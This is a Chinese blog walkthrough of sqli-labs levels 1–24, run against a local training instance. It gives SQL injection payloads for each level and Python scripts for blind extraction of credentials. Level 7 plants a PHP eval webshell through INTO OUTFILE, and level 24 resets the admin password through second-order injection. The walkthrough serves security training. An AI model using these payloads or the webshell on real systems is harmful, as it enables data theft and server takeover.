sqli-labs1-24通关教程

news2024/9/21 0:51:35

目录

前置知识

第一关

1、第一关是单引号字符型注入,输入id=1‘会报错

2、输入注释符正常显示

3、爆出列数为联合做准备

4、使用联合查询爆出数据库名

5、使用information_schema爆出表名

6、猜测用户名再users表中,爆出列名

​编辑

7、利用查出来的表名数据库名爆出数据

(有些重复步骤在后续关卡回省略)

第二关

1、第二关是数字型注入,输入id=1’出现出错,输入id=1不会报错

2、 爆数据库名

3、爆表名

4、爆列名

5、爆数据

​编辑 第三关

1、第三关是使用')进行闭合

2、爆数据库名

3、爆表名

4、爆列名

5、爆出数据

第四关

1、第四关是")闭合

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

第五关

1、第五关是单引号注入,没有显示位,只有正确页面和错误页面对比

2、使用报错注入爆出数据库名

3、使用报错注入爆出表名

4、爆出列名

​编辑 5、爆出数据

第六关

1、第六关与第五关一样,不过是闭合方式发生变化

2、爆出数据库名

 3、爆出表名

4、爆出列名

5、爆出数据

第7关

1、这一关闭合方式是')),但是这一关是要使用文件上传的方式去做

2、文件上传

mysql文件上传三个条件

1、mysql用户权限为root

2、要知道网站物理路径

3、secure_file_priv值为空(空的意思是啥都没有,不是null)

文件上传

第八关

1、第八关是盲注

2、利用页面显示不同尝试注入

第九关

1、第九关是时间盲注,这个注入依靠回显的时间不同来爆出不同的数据

2、脚本爆出数据

第十关

1、第十关也是时间盲注不过闭合方式发生改变,闭合方式由'变成"

 2、同理一个个手动注入太麻烦,我们尝试用脚本注入,这个脚本只需要将第九关脚本微微修改,将url改为第十关,将payload的'换为","换为'(注:是所有的"和'都要换,不然可能会起冲突,代码会报错)

第十一关

1、第十一关是改成了post传参,不过和get传参相差不大尝试爆出要查询的列数,现在查询语句要报出的列数是两列

2、使用联合查询爆出数据库名

3、爆表名

4、爆列名

5、爆数据

第十二关

1、第十二关与第十一关同理闭合方式发生了变化由'闭合变为了")闭合

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

 第十三关

1、第十三关是报错注入,且闭合方式为1'),这一关开始不要忘记输入密码,不然无法进入sql查询语句

2、使用报错注入爆出数据库名

 3、爆表名

 4、爆列名

5、报数据

​编辑第十四关

1、第十四关与第十三关同理,也需要使用报错注入,只是闭合方式不同,第十四关闭合方式为"

 2、爆数据库名

3、爆出表名

4、爆出列名

5、爆数据

第十五关

1、第十五关又是一关盲注

2、可以像第一步一样一个个注出来但是未免太浪费时间,来一个脚本

第十六关

1、第十六关与十五关同理,只是修改了闭合方式,第十六关闭合方式为")

 2、修改15关脚本

第十七关

1、这一关经过尝试发现无法在username尝试注入,那么我们在new password尝试注入

2、使用报错注入爆数据库名

3、爆表名

4 、爆列名

5、报数据

 第十八关

1、寻找注入点

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

第十九关 

1、寻找注入点

 2、抓包

3、报数据库名

4、爆表名

5、爆列名

6、爆出数据 

第二十关

1、寻找注入点

2、爆出数据库名

3、爆出表名

4、爆出列名 

5、爆出数据

第二十一关

1、查看代码第二十一关与第二十关几乎相同,不过在其中有个编码解码的过程

2、爆数据库名

3、报表名

4、爆列名

5、爆数据

第二十二关

第二十三关

第二十四关


前置知识

一些基础知识可以参考我以前写过的一些文章

初识sql注入--手工注入-CSDN博客

SQL注入之报错注入_如何在报错的情况下爆出列名-CSDN博客

第一关

1、第一关是单引号字符型注入,输入id=1‘会报错

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27

2、输入注释符正常显示

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20--+

3、爆出列数为联合做准备

输入oider by正常显示,说明只有3行

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20order%20by%203--+

输入order by 4报错

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20order%20by%204--+

4、使用联合查询爆出数据库名

爆出回显位置

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

2,3位置回显爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+

5、使用information_schema爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

6、猜测用户名再users表中,爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

7、利用查出来的表名数据库名爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

(有些重复步骤在后续关卡回省略)

第二关

1、第二关是数字型注入,输入id=1’出现出错,输入id=1不会报错

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=1%20--+

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=1%E2%80%99%20--+

2、 爆数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),3--+

3、爆表名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

4、爆列名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5、爆数据

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

 第三关

1、第三关是使用')进行闭合

使用1‘出错

127.0.0.1:9002/sqli-labs-master/Less-3/?id=1'--+

使用1’)显示正常

127.0.0.1:9002/sqli-labs-master/Less-3/?id=1')--+

2、爆数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),3%20--+

3、爆表名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

4、爆列名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

5、爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

第四关

1、第四关是")闭合

使用1"会报错

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=1%22--+

使用1")正常显示

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=1%22)%20--+

2、爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),3--+

3、爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5、爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

第五关

1、第五关是单引号注入,没有显示位,只有正确页面和错误页面对比

使用1'有错误信息,存在注入点

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27

使用联合查询无回显

2、使用报错注入爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

3、使用报错注入爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

 5、爆出数据

爆username

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users),0x7e),1)--+

爆出数据不全使用limit

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20security.users%20limit%204,1),0x7e),1)--+

爆password

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

第六关

1、第六关与第五关一样,不过是闭合方式发生变化

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22

 输入"有报错

闭合后显示正常

2、爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

 3、爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

5、爆出数据

数据不够就用limit

爆username

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users),0x7e),1)--+

爆password

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

第7关

1、这一关闭合方式是')),但是这一关是要使用文件上传的方式去做

输入1'))出现报错

http://127.0.0.1:9002/sqli-labs-master/Less-7/?id=1%27))

添加注释回复正常

2、文件上传

mysql文件上传三个条件

1、mysql用户权限为root

现如今几乎不可能给网站用户mysql的root权限,一般都是普通用户

2、要知道网站物理路径

导出webshell要导在物理路径你才可以访问

3、secure_file_priv值为空(空的意思是啥都没有,不是null)
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出
 
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下
 
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
show global variables like 'secure%';

我这里为NULL

配置文件中修改

文件上传

 使用into outfile函数可以 上传木马

http://127.0.0.1:9002/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%22%3C?php%20eval($_POST[%27cmd%27]);%20?%3E%22%20into%20outfile%22D:\\phpstudy_pro\\WWW\\sqli-labs-master\\test\\web.php%22;--+

 查看文件,上传成功

使用蚁剑连接

蚁剑连接成功

第八关

1、第八关是盲注

1’页面没有反应

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27

1' --+页面显示You are in...........

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27%20--+

2、利用页面显示不同尝试注入

使用ascii喝substr尝试注入 ,substr将所获得的字符截取下来,ascii将截取下来的字母转化为ascii码

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1)=115)%20--+

ascii为115时显示正确说明数据库第一位时s

这样不断变换查询位置和内容即可查询出最终值,但是手动太慢我们不如写一个脚本

import requests
def get_database(url):
    dataname = ''  # 初始化一个空字符串用于存储数据库名
    dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'  #数据库名可能存在这些字段中
    # 循环数据库名的位置
    for i in range(1, 20):
        for j in dict:
            #注入语句
            payload = "1' AND SUBSTRING((SELECT DATABASE()), %d, 1) = '%s'-- " % (i, j)
            # 发送请求
            res = requests.get(url, params={"id": payload})
            # 如果字符匹配上了,屏幕会输出You are in,所以可以用You are in来检测是否字符是否可以匹配
            if "You are in" in res.text:
                dataname += j
                print(dataname)
                break
            else:
                continue
    return dataname
 
# 此处填写自己靶场地址
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-8/'
db_name = get_database(url)

只要修改查询的数据就可以爆出不同的数据包括数据列表名等等,下面展示的是爆出password的结果

第九关

1、第九关是时间盲注,这个注入依靠回显的时间不同来爆出不同的数据

利用ascii和substr和if和sleep函数来完成数据回显

当函数第一位ascii值不为115时if不执行函数页面响应时间小于两秒

当数据库第一位的ascii值为115时if正确执行sleep函数,页面响应时间大于两秒

但是我们要是一个个手动注入未免效率太低,所以我们可以再写一个脚本

2、脚本爆出数据

这里同里也只需要修改要注入的参数即可改变获得的数据

import time
import requests
def database():
    name = ''
    for i in range(1,100):
        for j in range(32,128):
            payload = {"id":"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),0)-- "%(i,j)}
            start_time = time.time()
            res = requests.get(url,params=payload)
            end_time = time.time()
            if end_time-start_time>=2:
                name = name+chr(j)
                print(name)
                break

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-9/'
database()

 下面展示一个爆出表名的例子

第十关

1、第十关也是时间盲注不过闭合方式发生改变,闭合方式由'变成"

当数据库ascii码不正确的时候就不会触发sleep函数也就不会延长回复时间,回复时间小于两秒

http://127.0.0.1:9002/sqli-labs-master/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))=111,sleep(2),1)%20--+

当数据库ascii码为115时,也就是数据库第一位s时,页面回复时间大于两秒

http://127.0.0.1:9002/sqli-labs-master/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))=115,sleep(2),1)%20--+

 2、同理一个个手动注入太麻烦,我们尝试用脚本注入,这个脚本只需要将第九关脚本微微修改,将url改为第十关,将payload的'换为","换为'(注:是所有的"和'都要换,不然可能会起冲突,代码会报错)

import time
import requests
def database():
    name = ''
    for i in range(1,100):
        for j in range(32,128):
            payload = {"id":'1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),%d,1))=%d,sleep(2),0)-- '%(i,j)}
            start_time = time.time()
            res = requests.get(url,params=payload)
            end_time = time.time()
            if end_time-start_time>=2:
                name = name+chr(j)
                print(name)
                break

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-10/'
database()

脚本运行结果

第十一关

1、第十一关是改成了post传参,不过和get传参相差不大尝试爆出要查询的列数,现在查询语句要报出的列数是两列

查询两列正常回显

1' order by 2#

1' order by 3#

2、使用联合查询爆出数据库名

1' union select 1,database()#

3、爆表名

这里使用1的原因是查询的不是id没有为1的的username

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

4、爆列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

5、爆数据

1' union select group_concat(username),group_concat(password) from security.users#

第十二关

1、第十二关与第十一关同理闭合方式发生了变化由'闭合变为了")闭合

输入1‘没有反应

输入1"出现报错

输入1" #还是报错

输入1")正常回显

2、爆出数据库名

1") union select 1,database()#

3、爆出表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

4、爆出列名

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

5、爆出数据

1") union select group_concat(username),group_concat(password) from security.users#

 第十三关

1、第十三关是报错注入,且闭合方式为1'),这一关开始不要忘记输入密码,不然无法进入sql查询语句

1')#没有显示

1')报错

2、使用报错注入爆出数据库名

1') and updatexml(1,concat(0x7e,database(),0x7e),1)#

 3、爆表名

1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

 4、爆列名

1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

5、报数据

数据不够可以使用limit一个个爆出来

1') and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)#

爆出username

1') and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#

爆出password

1') and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#

第十四关

1、第十四关与第十三关同理,也需要使用报错注入,只是闭合方式不同,第十四关闭合方式为"

1"报错

1" #不显示

 2、爆数据库名

1" and updatexml(1,concat(0x7e,database(),0x7e),1)#

3、爆出表名

1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

4、爆出列名

1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)#

5、爆数据

1" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#

爆username

 爆password

1" and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#

第十五关

1、第十五关又是一关盲注

这里是成功会显示

1' or ascii(substr(database(),1,1))=111#

失败会显示如下图片

1' or ascii(substr(database(),1,1))=111#

2、可以像第一步一样一个个注出来但是未免太浪费时间,来一个脚本

首先这里发生变化的就是图片,那么就抓取图片,来用这个图片作为是否成功的判断标准

脚本

下面例子只爆数据库名,想爆出其他字段只需修改参数即可

import requests
def half(url):
    name = ''
    for i in range(1, 20):
        #从空格开始 直到到~
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            #payload = "admin' and ascii(substr(database(),%d,1))> %d#" % (i, mid)
            params = {
                "uname" : "admin' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=params)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-15/'
half(url)

爆出数据库名的例子

第十六关

1、第十六关与十五关同理,只是修改了闭合方式,第十六关闭合方式为")

盲注成功

1") or ascii(substr(database(),1,1))=115#

盲注失败

1") or ascii(substr(database(),1,1))=111#

 2、修改15关脚本

# 白大黑
# 开发时间:$[DATE] $[TIME]
# 白大黑
# 开发时间:$[DATE] $[TIME]
import requests
def half(url):
    name = ''
    for i in range(1, 20):
        #从空格开始 直到到~
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            #payload = "admin' and ascii(substr(database(),%d,1))> %d#" % (i, mid)
            params = {
                "uname" : 'admin") and ascii(substr(database(),%d,1))>%d#' % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=params)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-16/'
half(url)

爆出数据例子

第十七关

1、这一关经过尝试发现无法在username尝试注入,那么我们在new password尝试注入

在输入1'出现报错,可以尝试报错注入

2、使用报错注入爆数据库名

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

3、爆表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

4 、爆列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

 

5、报数据

由于这个数据是在要更新的表中查询所以需要再写一个子查询

username查询

1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select * from security.users) as u),0x7e),1)#

password查询

1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select * from security.users) as u),0x7e),1)#

 第十八关

1、寻找注入点

登陆成功的样子

登陆失败的样子

抓包看一下,看到了User Agent,尝试在User Agent注入

输入id‘有报错信息,存在注入点

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

数据不够可以用limit继续爆出

username爆出

 password爆出

第十九关 

1、寻找注入点

这一关也是httd头部注入,登陆成功显示

登陆失败显示

 2、抓包

在refer头部输入1’出现报错,存在注入点

3、报数据库名

4、爆表名

5、爆列名

6、爆出数据 

username

password

第二十关

1、寻找注入点

尝试正常登陆

错误密码登陆

分析代码在cookie处可以注入,且cookie处还需要uname字段

尝试注入出现爆错

2、爆出数据库名

3、爆出表名

4、爆出列名 

5、爆出数据

username

password

第二十一关

1、查看代码第二十一关与第二十关几乎相同,不过在其中有个编码解码的过程

所以我们构造payload的时候也要进行编码

编码

解码

2、爆数据库名

3、报表名

4、爆列名

5、爆数据

username数据

password数据

第二十二关

二十二关与二十一关仅仅闭合方式不同这里不做演示

第二十三关

使用1’发现报错

使用%23和--+无法闭合,查看源代码这里被过滤了

使用'1'=1进行闭合

http://127.0.0.1:9002/sqli-labs-master/Less-23/index.php?id=1%27%20and%20%271%27=%271

尝试注入

爆数表名,其余步骤一次进行这里就不一一演示了

第二十四关

二十四关是一个二次注入,他在username和password输入的时候是过率的,但是它在后面的操作是没有过滤的,且过滤并不是把代码去掉了,代码还是原来的代码不过是被转义了,但是你再取出来的话就又可以了

第二十四管寻找注入点,查看源代码,发现修改密码处没有被过滤,可以在此注入

下面开始演示一下二次注入

现在admin的密码是123,咱借助二次注入来修改admin的密码

1、新创建一个用户,用户名为admin‘#这是为了在修改密码的地方闭合,密码1234

2、admin’#完成二次注入,登陆进入修改密码界面

3、修改密码为111111,后面的新密码不需要管,因为已经被闭合了

4、密码修改成功

5、登陆测试

看右上角登陆的结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【第2期】2024 搜索客 Meetup | Elasticsearch 的代码结构和写入查询流程的解读

本次活动由 搜索客社区、极限科技&#xff08;INFINI Labs&#xff09;联合举办&#xff0c;活动主题将深入探讨 Elasticsearch 的两个核心方面&#xff1a;代码结构以及写入和查询的关键流程。本次活动将为 Elasticsearch 初学者和有经验的用户提供宝贵的见解&#xff0c;欢迎…

叉车(工业车辆)安全监控管理系统,叉车安全方案

叉车作为特种设备的一种&#xff0c;存在一定的危险性&#xff0c;操作过程出现意外的情况可谓是不胜枚举&#xff0c;轻则伤财、受些皮外伤&#xff0c;重则直接致人死亡。为加强叉车操作的安全管理&#xff0c;从2023年12月1日起实施的TSG 81-2022《场&#xff08;厂&#xf…

【网络安全学习】SQL注入02:使用sqlmap进行注入

1.sqlmap的基本功能 sqlmap的基本功能是对Web应用中的数据库进行自动化的检测、利用和攻击。 使用pikachu靶场进行sqlmap的基础功能使用。 1️⃣ 第一步&#xff1a;先检查是否有注入点&#xff1a; # -u : 指定目标url&#xff0c;也就是指定注入点 sqlmap -u "http:…

终端命令行|CLI工具|CMD|PowerShell

基本概念 终端是一个文本界面&#xff0c;用于执行基于文本的程序。 果你正在运行任何用于 web 开发的工具&#xff0c;你一定需要打开命令行并运行一些命令来使用你所选择的工具 (这样的工具被称为CLI 工具也就是命令行接口工具)。 命令行接口工具 (CLI 工具) 是什么&#xf…

延伸--人工鱼群算法

目录 基本原理 改进策略 代码示例 应用实例 总结 人工鱼群算法在解决多峰函数问题中的具体应用案例和效果如何&#xff1f; 双群人工鱼群算法与传统人工鱼群算法相比&#xff0c;有哪些具体的改进和优势&#xff1f; 步长自适应调整在人工鱼群算法中的实现机制是什么&a…

vue3踩坑问题记录

//vue3element-plus //1、placeholder换行显示 const startTxt ref() const contentText ref<any>() startTxt.value "请描述问题内容、例如&#xff1a;" historyData.prompt.forEach((el:any)>{contentText.value \n${el.question}}) <ElInputv-mo…

点赞收藏测试文章(让我看看有多少机器人在刷互动量)

前言 这里有一些看似合理但实际毫无意义的句子&#xff0c;我需要用它来看看跟我互动的有多少机器人 如果你是人类用户&#xff0c;可以用评论来代替点赞&收藏&#xff0c;爱你~ 目录 前言 正文 1. 紫色的大象在夜空中游泳。 2. 月亮上的饼干师烤出了一片海洋。 3. 时…

数据结构(邓俊辉)学习笔记】词典 03—— 排解冲突(1)

文章目录 1. 一山二虎2. 泾渭分明3. 开放定址4. 线性试探5. 赖惰删除 1. 一山二虎 此前我们已经多次指出&#xff0c;对于需要动态维护的散列表冲突是不可避免的&#xff0c;无论你的散列函数设计的有多么精妙&#xff0c;因此我们不得不回答的第二个重要问题就是一旦发生冲突&…

苹果电脑维护工具:CleanMyMac X让你的Mac焕发新生!

在我们的数字生活中&#xff0c;苹果电脑&#xff08;Mac&#xff09;已成为不可或缺的一部分&#xff0c;无论是为工作披星戴月&#xff0c;还是为娱乐畅游云端。但是&#xff0c;就像任何长时间运行的机器一样&#xff0c;Mac也可能会因为积累的文件和不必要的数据而开始变慢…

DAMA学习笔记(十一)-元数据管理

1.引言 元数据最常见的定义是“关于数据的数据”。它描述了数据本身&#xff08;如数据库、数据元素、数据模型&#xff09;&#xff0c;数据表示的概念&#xff08;如业务流程、应用系统、软件代码、技术基础设施&#xff09;&#xff0c;数据与概念之间的联系&#xff08;关系…

60页PPT数据湖 + 数据中台实施方案

关注智慧方案文库&#xff0c;学习8700多份智慧城市&#xff0c;智慧医院&#xff0c;智能制造&#xff0c;数字化转型&#xff0c;新质生产力&#xff0c;算力&#xff0c;大模型&#xff0c;AIGC&#xff0c;工业互联网&#xff0c;数字孪生......持续更新热点行业解决方案。…

.NET C# Dictionary Hashtable

.NET C# Dictionary & Hashtable 文章目录 .NET C# Dictionary & Hashtable1 Dictionary1.1 底层实现1.2 优点1.3 缺点 2 Hashtable2.1 底层实现2.2 优点2.3 缺点 3 对比总结4 遍历方式&#xff0c;与耗时对比foreach遍历Keys遍历IDictionaryEnumerator遍历耗时对比 1 …

自动化报表实践小结

这一天午休刚休息完&#xff0c;财务经理就喊我&#xff1a;“***&#xff0c;我们找个会议室聊聊”。我是一脸茫然&#xff0c;心里想着&#xff0c;我跟他也没什么私下的工作交流啊&#xff0c;能聊啥呢&#xff0c;还要找个会议室&#xff1f;究竟是什么事情呢&#xff1f;有…

VsCode无法远程调试

一、问题描述 按照《VsCode gdb gdbserver远程调试C程序》中介绍的方法&#xff0c;配置好VsCode后&#xff0c;按下F5快捷键&#xff0c;或点击“Start Debugging”按钮&#xff0c;没有反应&#xff0c;无法启动调试&#xff1a; 二、解决方法 针对该问题&#xff0c;我尝…

【人工智能】Transformers之Pipeline(八):文生图/图生图(text-to-image/image-to-image)

目录 一、引言 二、文生图/图生图&#xff08;text-to-image/image-to-image&#xff09; 2.1 文生图 2.2 图生图 2.3 技术原理 2.3.1 Diffusion扩散模型原理 2.3.2 Stable Diffusion扩散模型原理 2.4 文生图实战 2.4.1 SDXL 1.0 2.4.2 SD 2.0 2.5 模型排名 三、总…

​【香菇带你学Mysql】Mysql超长执行sql定位和优化【建议收藏】

本文为MySQL数据库管理员和开发人员提供了一套全面的超时SQL定位和优化解决方案。通过合理运用这些方法和技巧&#xff0c;可以显著提升MySQL数据库的性能和稳定性&#xff0c;减少超时SQL语句的发生&#xff0c;确保数据库的高效运行。 0. 引言 最近某个Mysql数据库频繁告警…

统信UOS激活系统故障

统信UOS激活系统故障 1. 离线环境下如何激活系统 ①点击右下角的授权管理 ②点击“激活” ③输入激活码,并点击确定 ④离线环境下此时会弹出二维码,使用微信去扫码,按照提示确定激活 ⑤微信确定以后,激活端会显示成功 2. 激活过程中提示服务器连接失败 激活时如果提示服…

Java多商户新零售超市外卖商品系统

解锁新零售奥秘&#xff0c;多商户外卖超市商品系统大揭秘&#xff01; &#x1f31f; 开篇&#xff1a;新零售时代的浪潮 在这个日新月异的数字化时代&#xff0c;新零售已悄然成为商业变革的新风口。想象一下&#xff0c;足不出户就能逛遍全城商家&#xff0c;心仪商品一键…

智算与大模型人才白皮书学习

目录 智算定义 智算的相关政策 公司的智算战略 服务提供者的定义及服务内容 智算人才需求 典型智算参与者的角色要求 业务流程全过程的分解 自己的定位 智算定义 智算通过智能化技术手段优化和提升技术系统的功能和性能&#xff0c;是为满足未来人工智能发展 和相关应用…

如何快速发现SIM卡托潜在问题?

手机SIM卡托通常是指放置SIM卡的卡槽或卡托。SIM卡托位于手机的侧面或顶部&#xff0c;用于插入SIM卡以连接到移动网络。通常&#xff0c;用户可以通过将SIM卡插入手机SIM卡托来激活手机服务、接收通话、发送短信和使用移动数据。SIM卡托一般设计成易于插拔&#xff0c;使用户能…